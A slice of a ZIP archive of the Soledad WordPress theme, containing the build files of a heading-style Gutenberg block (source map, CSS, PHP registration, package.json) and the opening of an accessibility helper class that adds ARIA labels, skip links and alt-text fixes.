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","sources":["webpack://copyright-date-block/./src/edit.js","webpack://copyright-date-block/./src/save.js","webpack://copyright-date-block/external window \"React\"","webpack://copyright-date-block/external window [\"wp\",\"blockEditor\"]","webpack://copyright-date-block/external window [\"wp\",\"blocks\"]","webpack://copyright-date-block/external window [\"wp\",\"components\"]","webpack://copyright-date-block/external window [\"wp\",\"i18n\"]","webpack://copyright-date-block/webpack/bootstrap","webpack://copyright-date-block/webpack/runtime/compat get default export","webpack://copyright-date-block/webpack/runtime/define property getters","webpack://copyright-date-block/webpack/runtime/hasOwnProperty shorthand","webpack://copyright-date-block/webpack/runtime/make namespace object","webpack://copyright-date-block/./src/index.js"],"sourcesContent":["/**\n * Retrieves the translation of text.\n *\n * @see https://developer.wordpress.org/block-editor/reference-guides/packages/packages-i18n/\n */\nimport { __ } from '@wordpress/i18n'\n\n/**\n * Imports the InspectorControls component, which is used to wrap\n * the block's custom controls that will appear in in the Settings\n * Sidebar when the block is selected.\n *\n * Also imports the React hook that is used to mark the block wrapper\n * element. It provides all the necessary props like the class name.\n *\n * @see https://developer.wordpress.org/block-editor/reference-guides/packages/packages-block-editor/#inspectorcontrols\n * @see https://developer.wordpress.org/block-editor/reference-guides/packages/packages-block-editor/#useblockprops\n */\nimport { InspectorControls, useBlockProps } from '@wordpress/block-editor'\n\n/**\n * Imports the necessary components that will be used to create\n * the user interface for the block's settings.\n *\n * @see https://developer.wordpress.org/block-editor/reference-guides/components/panel/#panelbody\n * @see https://developer.wordpress.org/block-editor/reference-guides/components/text-control/\n * @see https://developer.wordpress.org/block-editor/reference-guides/components/toggle-control/\n */\nimport {\n\t__experimentalHeading as Heading,\n\tColorPicker,\n\tPanelBody,\n\tSelectControl,\n\tTextControl,\n} from '@wordpress/components'\n/**\n * Imports the useEffect React Hook. This is used to set an attribute when the\n * block is loaded in the Editor.\n *\n * @see https://react.dev/reference/react/useEffect\n */\nimport { useEffect } from 'react'\n\n/**\n * The edit function describes the structure of your block in the context of the\n * editor. This represents what the editor will render when the block is used.\n *\n * @see https://developer.wordpress.org/block-editor/reference-guides/block-api/block-edit-save/#edit\n *\n * @param {Object}   props               Properties passed to the function.\n * @param {Object}   props.attributes    Available block attributes.\n * @param {Function} props.setAttributes Function that updates individual attributes.\n *\n * @return {Element} Element to render.\n */\nexport default function Edit( { attributes, setAttributes } ) {\n\tconst { headingText, headingStyle, headingTag, accentColor, borderColor } = attributes\n\n\tuseEffect( () => {\n\t\tif ( !headingText ) {\n\t\t\tsetAttributes( { headingText: 'This is a heading title' } )\n\t\t}\n\t}, [headingText, setAttributes] )\n\n\tlet vp = headingTag\n\n\tif ( !vp || vp == 'undefined' || vp === undefined ) {\n\t\tvp = 1\n\t}\n\n\tconst HeadingTagL = `h${vp}`\n\n\tconst cStyle = {\n\t\t'--pcborder-cl': borderColor,\n\t\t'--pcaccent-cl': accentColor,\n\t}\n\treturn (\n\t\t<>\n\t\t\t<InspectorControls>\n\t\t\t\t<PanelBody title={__( 'Settings', 'soledad' )}>\n\t\t\t\t\t<SelectControl\n\t\t\t\t\t\tlabel=\"Heading Tag\"\n\t\t\t\t\t\tvalue={headingTag}\n\t\t\t\t\t\toptions={[\n\t\t\t\t\t\t\t{ label: 'H1', value: '1' },\n\t\t\t\t\t\t\t{ label: 'H2', value: '2' },\n\t\t\t\t\t\t\t{ label: 'H3', value: '3' },\n\t\t\t\t\t\t\t{ label: 'H4', value: '4' },\n\t\t\t\t\t\t\t{ label: 'H5', value: '5' },\n\t\t\t\t\t\t\t{ label: 'H6', value: '6' },\n\t\t\t\t\t\t]}\n\t\t\t\t\t\tonChange={( headingNewTag ) => setAttributes( { headingTag: headingNewTag } )}\n\t\t\t\t\t\t__nextHasNoMarginBottom\n\t\t\t\t\t/>\n\t\t\t\t\t<SelectControl\n\t\t\t\t\t\tlabel=\"Style\"\n\t\t\t\t\t\tvalue={headingStyle}\n\t\t\t\t\t\toptions={[\n\t\t\t\t\t\t\t{ label: 'Style 1', value: 'style-1' },\n\t\t\t\t\t\t\t{ label: 'Style 2', value: 'style-2' },\n\t\t\t\t\t\t\t{ label: 'Style 3', value: 'style-3' },\n\t\t\t\t\t\t\t{ label: 'Style 4', value: 'style-4' },\n\t\t\t\t\t\t\t{ label: 'Style 5', value: 'style-5' },\n\t\t\t\t\t\t\t{ label: 'Style 6', value: 'style-6' },\n\t\t\t\t\t\t]}\n\t\t\t\t\t\tonChange={( headingNewStyle ) => setAttributes( { headingStyle: headingNewStyle } )}\n\t\t\t\t\t\t__nextHasNoMarginBottom\n\t\t\t\t\t/>\n\t\t\t\t\t<TextControl\n\t\t\t\t\t\tlabel={__(\n\t\t\t\t\t\t\t'Heading Title Text',\n\t\t\t\t\t\t\t'soledad',\n\t\t\t\t\t\t)}\n\t\t\t\t\t\tvalue={headingText}\n\t\t\t\t\t\tonChange={( value ) =>\n\t\t\t\t\t\t\tsetAttributes( { headingText: value } )\n\t\t\t\t\t\t}\n\t\t\t\t\t/>\n\t\t\t\t</PanelBody>\n\t\t\t</InspectorControls>\n\t\t\t<InspectorControls group=\"styles\">\n\t\t\t\t<PanelBody title={__( 'Heading Title Colors', 'soledad' )}>\n\t\t\t\t\t<Heading>Accent Color</Heading>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\tcolor={accentColor}\n\t\t\t\t\t\tonChange={( accentColorNew ) =>\n\t\t\t\t\t\t\tsetAttributes( { accentColor: accentColorNew } )\n\t\t\t\t\t\t}\n\t\t\t\t\t\tenableAlpha\n\t\t\t\t\t\tdefaultValue=\"\"\n\t\t\t\t\t/>\n\t\t\t\t\t<Heading>Border Color</Heading>\n\t\t\t\t\t<ColorPicker\n\t\t\t\t\t\tcolor={borderColor}\n\t\t\t\t\t\tonChange={( borderColorNew ) =>\n\t\t\t\t\t\t\tsetAttributes( { borderColor: borderColorNew } )\n\t\t\t\t\t\t}\n\t\t\t\t\t\tenableAlpha\n\t\t\t\t\t\tdefaultValue=\"\"\n\t\t\t\t\t/>\n\t\t\t\t</PanelBody>\n\t\t\t</InspectorControls>\n\t\t\t<div className={`pchead-e-block pchead-e-${headingStyle} heading${vp}-${headingStyle}`}>\n\t\t\t\t<HeadingTagL {...useBlockProps( { style: cStyle } )}>{headingText}</HeadingTagL></div>\n\t\t</>\n\t)\n}\n","/**\n * React hook that is used to mark the block wrapper element.\n * It provides all the necessary props like the class name.\n *\n * @see https://developer.wordpress.org/block-editor/reference-guides/packages/packages-block-editor/#useblockprops\n */\nimport { useBlockProps } from '@wordpress/block-editor';\n\n/**\n * The save function defines the way in which the different attributes should\n * be combined into the final markup, which is then serialized by the block\n * editor into `post_content`.\n *\n * @see https://developer.wordpress.org/block-editor/reference-guides/block-api/block-edit-save/#save\n *\n * @param {Object} props            Properties passed to the function.\n * @param {Object} props.attributes Available block attributes.\n *\n * @return {Element} Element to render.\n */\nexport default function save( { attributes } ) {\n\tconst { headingStyle, headingTag, headingText, accentColor, borderColor } = attributes;\n\n\t// If there is no fallbackCurrentYear, which could happen if the block\n\t// is loaded from a template/pattern, return null. In this case, block\n\t// rendering will be handled by the render.php file.\n\tlet displayDate;\n\n\tif ( ! headingText ) {\n\t\tdisplayDate = 'This is a heading title'\n\t} else {\n\t\tdisplayDate = headingText;\n\t}\n\n\tconst HeadingTagL = `h${headingTag}`;\n\n\treturn \t<div className={`pchead-e-block pchead-e-${headingStyle} heading${headingTag}-${headingStyle}`}><HeadingTagL { ...useBlockProps.save() }>{ displayDate }</HeadingTagL></div>\n\n}\n","module.exports = window[\"React\"];","module.exports = window[\"wp\"][\"blockEditor\"];","module.exports = window[\"wp\"][\"blocks\"];","module.exports = window[\"wp\"][\"components\"];","module.exports = window[\"wp\"][\"i18n\"];","// The module cache\nvar __webpack_module_cache__ = {};\n\n// The require function\nfunction __webpack_require__(moduleId) {\n\t// Check if module is in cache\n\tvar cachedModule = __webpack_module_cache__[moduleId];\n\tif (cachedModule !== undefined) {\n\t\treturn cachedModule.exports;\n\t}\n\t// Create a new module (and put it into the cache)\n\tvar module = __webpack_module_cache__[moduleId] = {\n\t\t// no module.id needed\n\t\t// no module.loaded needed\n\t\texports: {}\n\t};\n\n\t// Execute the module function\n\t__webpack_modules__[moduleId](module, module.exports, __webpack_require__);\n\n\t// Return the exports of the module\n\treturn module.exports;\n}\n\n","// getDefaultExport function for compatibility with non-harmony modules\n__webpack_require__.n = (module) => {\n\tvar getter = module && module.__esModule ?\n\t\t() => (module['default']) :\n\t\t() => (module);\n\t__webpack_require__.d(getter, { a: getter });\n\treturn getter;\n};","// define getter functions for harmony exports\n__webpack_require__.d = (exports, definition) => {\n\tfor(var key in definition) {\n\t\tif(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {\n\t\t\tObject.defineProperty(exports, key, { enumerable: true, get: definition[key] });\n\t\t}\n\t}\n};","__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))","// define __esModule on exports\n__webpack_require__.r = (exports) => {\n\tif(typeof Symbol !== 'undefined' && Symbol.toStringTag) {\n\t\tObject.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });\n\t}\n\tObject.defineProperty(exports, '__esModule', { value: true });\n};","/**\n * Registers a new block provided a unique name and an object defining its behavior.\n *\n * @see https://developer.wordpress.org/block-editor/developers/block-api/#registering-a-block\n */\nimport { registerBlockType } from '@wordpress/blocks';\n\n/**\n * Internal dependencies\n */\nimport Edit from './edit';\nimport save from './save';\nimport metadata from './block.json';\n\n/**\n * Define a custom SVG icon for the block. This icon will appear in\n * the Inserter and when the user selects the block in the Editor.\n */\nconst calendarIcon = (\n\t<svg\n\t\tviewBox=\"0 0 24 24\"\n\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\taria-hidden=\"true\"\n\t\tfocusable=\"false\"\n\t>\n\t\t<path d=\"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7h15v12zM9 10H7v2h2v-2zm0 4H7v2h2v-2zm4-4h-2v2h2v-2zm4 0h-2v2h2v-2zm-4 4h-2v2h2v-2zm4 0h-2v2h2v-2z\"></path>\n\t</svg>\n);\n\n/**\n * Every block starts by registering a new block type definition.\n *\n * @see https://developer.wordpress.org/block-editor/developers/block-api/#registering-a-block\n */\nregisterBlockType( metadata.name, {\n\ticon: calendarIcon,\n\t/**\n\t * @see ./edit.js\n\t */\n\tedit: Edit,\n\t/**\n\t * @see ./save.js\n\t */\n\tsave,\n} );\n"],"names":["__","InspectorControls","useBlockProps","__experimentalHeading","Heading","ColorPicker","PanelBody","SelectControl","TextControl","useEffect","Edit","attributes","setAttributes","headingText","headingStyle","headingTag","accentColor","borderColor","vp","undefined","HeadingTagL","cStyle","createElement","Fragment","title","label","value","options","onChange","headingNewTag","__nextHasNoMarginBottom","headingNewStyle","group","color","accentColorNew","enableAlpha","defaultValue","borderColorNew","className","style","save","displayDate","registerBlockType","metadata","calendarIcon","viewBox","xmlns","focusable","d","name","icon","edit"],"sourceRoot":""}PK     N\y̒o	  o	  ,  inc/block/heading-styles/build/style.min.cssnu [        .pchead-e-block{--pcborder-cl:#dedede;--pcaccent-cl:#6eb48c}.heading1-style-1>h1,.heading1-style-2>h1,.heading2-style-1>h2,.heading2-style-2>h2,.heading3-style-1>h3,.heading3-style-2>h3,.heading4-style-1>h4,.heading4-style-2>h4,.heading5-style-1>h5,.heading5-style-2>h5{padding-bottom:8px;border-bottom:1px solid var(--pcborder-cl);overflow:hidden}.heading1-style-2>h1,.heading2-style-2>h2,.heading3-style-2>h3,.heading4-style-2>h4,.heading5-style-2>h5{border-bottom-width:0;position:relative}.heading1-style-2>h1:before,.heading2-style-2>h2:before,.heading3-style-2>h3:before,.heading4-style-2>h4:before,.heading5-style-2>h5:before{content:'';width:50px;height:2px;bottom:0;left:0;z-index:2;background:var(--pcaccent-cl);position:absolute}.heading1-style-2>h1:after,.heading2-style-2>h2:after,.heading3-style-2>h3:after,.heading4-style-2>h4:after,.heading5-style-2>h5:after{content:'';width:100%;height:2px;bottom:0;left:20px;z-index:1;background:var(--pcborder-cl);position:absolute}.heading1-style-3>h1,.heading1-style-4>h1,.heading2-style-3>h2,.heading2-style-4>h2,.heading3-style-3>h3,.heading3-style-4>h3,.heading4-style-3>h4,.heading4-style-4>h4,.heading5-style-3>h5,.heading5-style-4>h5{position:relative;padding-left:20px}.heading1-style-3>h1:before,.heading1-style-4>h1:before,.heading2-style-3>h2:before,.heading2-style-4>h2:before,.heading3-style-3>h3:before,.heading3-style-4>h3:before,.heading4-style-3>h4:before,.heading4-style-4>h4:before,.heading5-style-3>h5:before,.heading5-style-4>h5:before{width:10px;height:100%;content:'';position:absolute;top:0;left:0;bottom:0;background:var(--pcaccent-cl)}.heading1-style-4>h1,.heading2-style-4>h2,.heading3-style-4>h3,.heading4-style-4>h4,.heading5-style-4>h5{padding:10px 20px;background:#f1f1f1}.heading1-style-5>h1,.heading2-style-5>h2,.heading3-style-5>h3,.heading4-style-5>h4,.heading5-style-5>h5{position:relative;z-index:1}.heading1-style-5>h1:before,.heading2-style-5>h2:before,.heading3-style-5>h3:before,.heading4-style-5>h4:before,.heading5-style-5>h5:before{content:"";position:absolute;left:0;bottom:0;width:200px;height:50%;transform:skew(-25deg) translateX(0);background:var(--pcaccent-cl);z-index:-1;opacity:.4}.heading1-style-6>h1,.heading2-style-6>h2,.heading3-style-6>h3,.heading4-style-6>h4,.heading5-style-6>h5{text-decoration:underline;text-underline-offset:2px;text-decoration-thickness:4px;text-decoration-color:var(--pcaccent-cl)}PK     N\Cx      .  inc/block/heading-styles/build/index.asset.phpnu [        <?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-i18n'), 'version' => '7b2e89979f36b366ade5');
PK     N\3e~  ~  0  inc/block/heading-styles/heading-title-block.phpnu [        <?php
/**
 * Plugin Name:       Heading Title Blocks
 * Description:       Display heading title
 * Version:           0.1.0
 * Requires at least: 6.2
 * Requires PHP:      7.0
 * Author:            PenciDesign
 * License:           GPL-2.0-or-later
 * License URI:       https://www.gnu.org/licenses/gpl-2.0.html
 * Text Domain:       soledad
 *
 * @package           soledad
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Registers the block using the metadata loaded from the `block.json` file.
 * Behind the scenes, it registers also all assets so they can be enqueued
 * through the block editor in the corresponding context.
 *
 * @see https://developer.wordpress.org/reference/functions/register_block_type/
 */
function penci_heading_block_styles() {
	register_block_type( __DIR__ . '/build' );
}
add_action( 'init', 'penci_heading_block_styles' );
PK     N\͑    %  inc/block/heading-styles/package.jsonnu [        {
	"name": "@wp-soledad/heading-title-styles",
	"version": "0.1.0",
	"description": "Display heading title.",
	"author": "PenciDesign",
	"license": "GPL-2.0-or-later",
	"main": "build/index.js",
	"scripts": {
		"build": "wp-scripts build",
		"format": "wp-scripts format",
		"lint:css": "wp-scripts lint-style",
		"lint:js": "wp-scripts lint-js",
		"packages-update": "wp-scripts packages-update",
		"plugin-zip": "wp-scripts plugin-zip",
		"start": "wp-scripts start",
		"env": "wp-env start"
	},
	"devDependencies": {
		"@wordpress/env": "^8.12.0",
		"@wordpress/scripts": "^26.17.0"
	},
	"files": [
		"*"
	],
	"dependencies": {
		"react": "^18.2.0"
	}
}
PK     N\0/	(e  (e    inc/accessibility.phpnu [        <?php

class PenciAccessibility {
	/**
	 * Initialize the class.
	 */
	public function __construct() {

		if ( ! get_theme_mod( 'penci_accessibility_enable' ) ) {
			return;
		}
		
		// Original hooks
		add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_scripts' ] );
		add_action( 'wp_head', [ $this, 'add_skiplinks' ] );
		add_filter( 'the_content', [ $this, 'remove_tabindex' ], 999 );
		add_filter( 'body_class', [ $this, 'body_class' ] );

		// Enhanced WCAG hooks
		add_action( 'wp_head', [ $this, 'add_accessibility_meta' ] );
		add_action( 'wp_head', [ $this, 'add_focus_styles' ] );
		add_action( 'wp_footer', [ $this, 'add_accessibility_javascript' ] );
		add_filter( 'nav_menu_link_attributes', [ $this, 'add_menu_link_attributes' ], 10, 3 );
		add_filter( 'wp_nav_menu_items', [ $this, 'add_skip_links_to_menu' ], 10, 2 );
		add_filter( 'the_content', [ $this, 'improve_content_accessibility' ], 998 );
		add_filter( 'wp_list_categories', [ $this, 'add_category_aria_labels' ] );
		add_filter( 'get_search_form', [ $this, 'improve_search_form' ] );
		add_filter( 'comment_form_defaults', [ $this, 'improve_comment_form' ] );
		add_filter( 'post_thumbnail_html', [ $this, 'improve_featured_image_alt' ], 10, 5 );
		add_filter( 'gallery_style', [ $this, 'remove_inline_gallery_styles' ] );
		add_filter( 'img_caption_shortcode', [ $this, 'improve_caption_accessibility' ], 10, 3 );
		add_filter( 'dynamic_sidebar_params', [ $this, 'add_widget_aria_labels' ] );

		// Conditional original features
		if ( get_theme_mod( 'penci_accessibility_img_alt', false ) ) {
			add_filter( 'the_content', array( $this, 'fix_missing_alt_tags' ) );
			add_filter( 'widget_text', array( $this, 'fix_missing_alt_tags' ) );
			add_filter( 'get_the_excerpt', array( $this, 'fix_missing_alt_tags' ) );
		}

		if ( get_theme_mod( 'penci_accessibility_title_attr', false ) ) {
			add_filter( 'the_content', array( $this, 'add_missing_title_attributes' ) );
			add_filter( 'widget_text', array( $this, 'add_missing_title_attributes' ) );
			add_filter( 'get_the_excerpt', array( $this, 'add_missing_title_attributes' ) );
		}

		if ( get_theme_mod( 'penci_accessibility_key_prext', false ) ) {
			add_action( 'wp_footer', [ $this, 'inline_keyboard_navigation' ] );
		}

		// Enhanced features with theme mod conditions
		if ( get_theme_mod( 'penci_accessibility_enhanced_nav', true ) ) {
			add_action( 'wp_footer', [ $this, 'enhanced_keyboard_navigation' ] );
		}

		if ( get_theme_mod( 'penci_accessibility_aria_live', true ) ) {
			add_action( 'wp_footer', [ $this, 'add_live_regions' ] );
		}

		if ( get_theme_mod( 'penci_accessibility_form_labels', true ) ) {
			add_filter( 'wpcf7_form_elements', [ $this, 'improve_contact_form_labels' ] );
		}
	}

	/**
	 * Enqueue scripts and styles.
	 */
	public function enqueue_scripts() {
		if ( get_theme_mod( 'penci_accessibility_skiplinks', false ) ) {
			wp_enqueue_style( 'penci-accessibility', get_template_directory_uri() . '/css/accessibility.css', [], PENCI_SOLEDAD_VERSION );
		}
		
		// Enhanced accessibility assets
		if ( get_theme_mod( 'penci_accessibility_enhanced', true ) ) {
			wp_enqueue_script( 'penci-accessibility-js', get_template_directory_uri() . '/js/accessibility.js', ['jquery'], PENCI_SOLEDAD_VERSION, true );
			wp_localize_script( 'penci-accessibility-js', 'penciA11y', [
				'skipToContent' => __( 'Skip to main content', 'soledad' ),
				'skipToFooter' => __( 'Skip to footer', 'soledad' ),
				'menuExpanded' => __( 'Menu expanded', 'soledad' ),
				'menuCollapsed' => __( 'Menu collapsed', 'soledad' ),
				'searchLabel' => __( 'Search', 'soledad' ),
				'submitSearch' => __( 'Submit search', 'soledad' ),
			]);
		}
	}

	/**
	 * Add accessibility-related meta tags
	 */
	public function add_accessibility_meta() {
		echo '<meta name="color-scheme" content="light dark">' . "\n";
		
		// Add lang attribute to html element if not present
		if ( ! has_action( 'wp_head', 'wp_generator' ) ) {
			echo '<script>document.documentElement.setAttribute("lang", "' . esc_js( get_bloginfo('language') ) . '");</script>' . "\n";
		}
	}

	/**
	 * Add skiplinks to the head.
	 */
	public function add_skiplinks() {
		if ( get_theme_mod( 'penci_accessibility_skiplinks', false ) ) {
			$class = get_theme_mod( 'penci_accessibility_skiplinks_visible', false ) ? 'skip-link' : 'screen-reader-text skip-link';
			echo '<a href="#main" class="' . $class . '" tabindex="1">' . esc_html__( 'Skip to main content', 'soledad' ) . '</a>';
			echo '<a href="javascript:void(0)" class="skip-link" onclick="document.querySelector(\'.clear-footer\')?.scrollIntoView({ behavior: \'smooth\' });" tabindex="2">' . esc_html__( 'Skip to footer', 'soledad' ) . '</a>';
		}
	}

	/**
	 * Add ARIA attributes to navigation menu links
	 */
	public function add_menu_link_attributes( $atts, $item, $args ) {
		// Add aria-current for current page
		if ( in_array( 'current-menu-item', $item->classes ) ) {
			$atts['aria-current'] = 'page';
		}
		
		// Add aria-expanded for dropdown menus
		if ( in_array( 'menu-item-has-children', $item->classes ) ) {
			$atts['aria-expanded'] = 'false';
			$atts['aria-haspopup'] = 'true';
		}
		
		return $atts;
	}

	/**
	 * Add skip links to navigation menu
	 */
	public function add_skip_links_to_menu( $items, $args ) {
		if ( isset( $args->theme_location ) && $args->theme_location === 'primary' && get_theme_mod( 'penci_accessibility_skiplinks', false ) ) {
			$skip_links = '<li class="skip-link screen-reader-text menu-item">';
			$skip_links .= '<a href="#main" tabindex="1">' . esc_html__( 'Skip to main content', 'soledad' ) . '</a>';
			$skip_links .= '</li>';
			$items = $skip_links . $items;
		}
		return $items;
	}

	/**
	 * Improve content accessibility
	 */
	public function improve_content_accessibility( $content ) {
		if ( empty( $content ) ) {
			return $content;
		}

		// Add missing alt attributes to images that don't have them
		$content = preg_replace_callback(
			'/<img(?![^>]*alt=)[^>]*>/i',
			function( $matches ) {
				return str_replace( '<img', '<img alt=""', $matches[0] );
			},
			$content
		);
		
		// Improve table accessibility
		$content = preg_replace(
			'/<table(?![^>]*role=)/i',
			'<table role="table"',
			$content
		);
		
		// Add scope to table headers if missing
		$content = preg_replace(
			'/<th(?![^>]*scope=)/i',
			'<th scope="col"',
			$content
		);

		// Add role to lists if missing
		$content = preg_replace(
			'/<ul(?![^>]*role=)/i',
			'<ul role="list"',
			$content
		);

		$content = preg_replace(
			'/<ol(?![^>]*role=)/i',
			'<ol role="list"',
			$content
		);

		return $content;
	}

	/**
	 * Add ARIA labels to category lists
	 */
	public function add_category_aria_labels( $output ) {
		return str_replace( '<ul>', '<ul role="list" aria-label="' . esc_attr__( 'Categories', 'soledad' ) . '">', $output );
	}

	/**
	 * Improve search form accessibility
	 */
	public function improve_search_form( $form ) {
		// Add aria-label to search input
		$form = str_replace(
			'type="search"',
			'type="search" aria-label="' . esc_attr__( 'Search', 'soledad' ) . '"',
			$form
		);
		
		// Add aria-label to submit button
		$form = str_replace(
			'type="submit"',
			'type="submit" aria-label="' . esc_attr__( 'Submit search', 'soledad' ) . '"',
			$form
		);
		
		return $form;
	}

	/**
	 * Improve comment form accessibility
	 */
	public function improve_comment_form( $defaults ) {
		// Add aria-required and aria-describedby to required fields
		if ( isset( $defaults['fields']['author'] ) ) {
			$defaults['fields']['author'] = str_replace(
				'name="author"',
				'name="author" aria-required="true"',
				$defaults['fields']['author']
			);
		}
		
		if ( isset( $defaults['fields']['email'] ) ) {
			$defaults['fields']['email'] = str_replace(
				'name="email"',
				'name="email" aria-required="true"',
				$defaults['fields']['email']
			);
		}
		
		if ( isset( $defaults['comment_field'] ) ) {
			$defaults['comment_field'] = str_replace(
				'name="comment"',
				'name="comment" aria-required="true"',
				$defaults['comment_field']
			);
		}
		
		return $defaults;
	}

	/**
	 * Improve featured image alt text
	 */
	public function improve_featured_image_alt( $html, $post_id, $post_thumbnail_id, $size, $attr ) {
		if ( get_theme_mod( 'penci_accessibility_img_alt', false ) ) {
			$alt = get_post_meta( $post_thumbnail_id, '_wp_attachment_image_alt', true );
			
			if ( empty( $alt ) ) {
				$post_title = get_the_title( $post_id );
				$html = str_replace( 'alt=""', 'alt="' . esc_attr( $post_title ) . '"', $html );
			}
		}
		
		return $html;
	}

	/**
	 * Remove inline gallery styles
	 */
	public function remove_inline_gallery_styles() {
		return '';
	}

	/**
	 * Improve caption accessibility with proper figure/figcaption structure
	 */
	public function improve_caption_accessibility( $empty, $attr, $content ) {
		$id = isset( $attr['id'] ) ? 'attachment_' . $attr['id'] : '';
		$align = isset( $attr['align'] ) ? 'align' . $attr['align'] : '';
		$width = isset( $attr['width'] ) ? (int) $attr['width'] : '';
		$caption = isset( $attr['caption'] ) ? $attr['caption'] : '';
		
		if ( empty( $caption ) ) {
			return '';
		}
		
		$html = '<figure';
		if ( $id ) {
			$html .= ' id="' . esc_attr( $id ) . '"';
		}
		$html .= ' class="wp-caption ' . esc_attr( $align ) . '"';
		if ( $width ) {
			$html .= ' style="width: ' . $width . 'px"';
		}
		$html .= '>';
		
		$html .= do_shortcode( $content );
		$html .= '<figcaption class="wp-caption-text">' . $caption . '</figcaption>';
		$html .= '</figure>';
		
		return $html;
	}

	/**
	 * Add ARIA labels to widgets
	 */
	public function add_widget_aria_labels( $params ) {
		if ( isset( $params[0]['widget_name'] ) ) {
			$widget_name = $params[0]['widget_name'];
			$params[0]['before_widget'] = str_replace(
				'class="widget',
				'role="complementary" aria-label="' . esc_attr( $widget_name ) . '" class="widget',
				$params[0]['before_widget']
			);
		}
		return $params;
	}

	/**
	 * Add comprehensive focus styles and accessibility CSS
	 */
	public function add_focus_styles() {
		?>
		<style id="penci-accessibility-styles">
		/* Screen reader text utility */
		.screen-reader-text {
			border: 0;
			clip: rect(1px, 1px, 1px, 1px);
			clip-path: inset(50%);
			height: 1px;
			margin: -1px;
			overflow: hidden;
			padding: 0;
			position: absolute !important;
			width: 1px;
			word-wrap: normal !important;
		}
		
		.screen-reader-text:focus {
			background-color: #f1f1f1;
			border-radius: 3px;
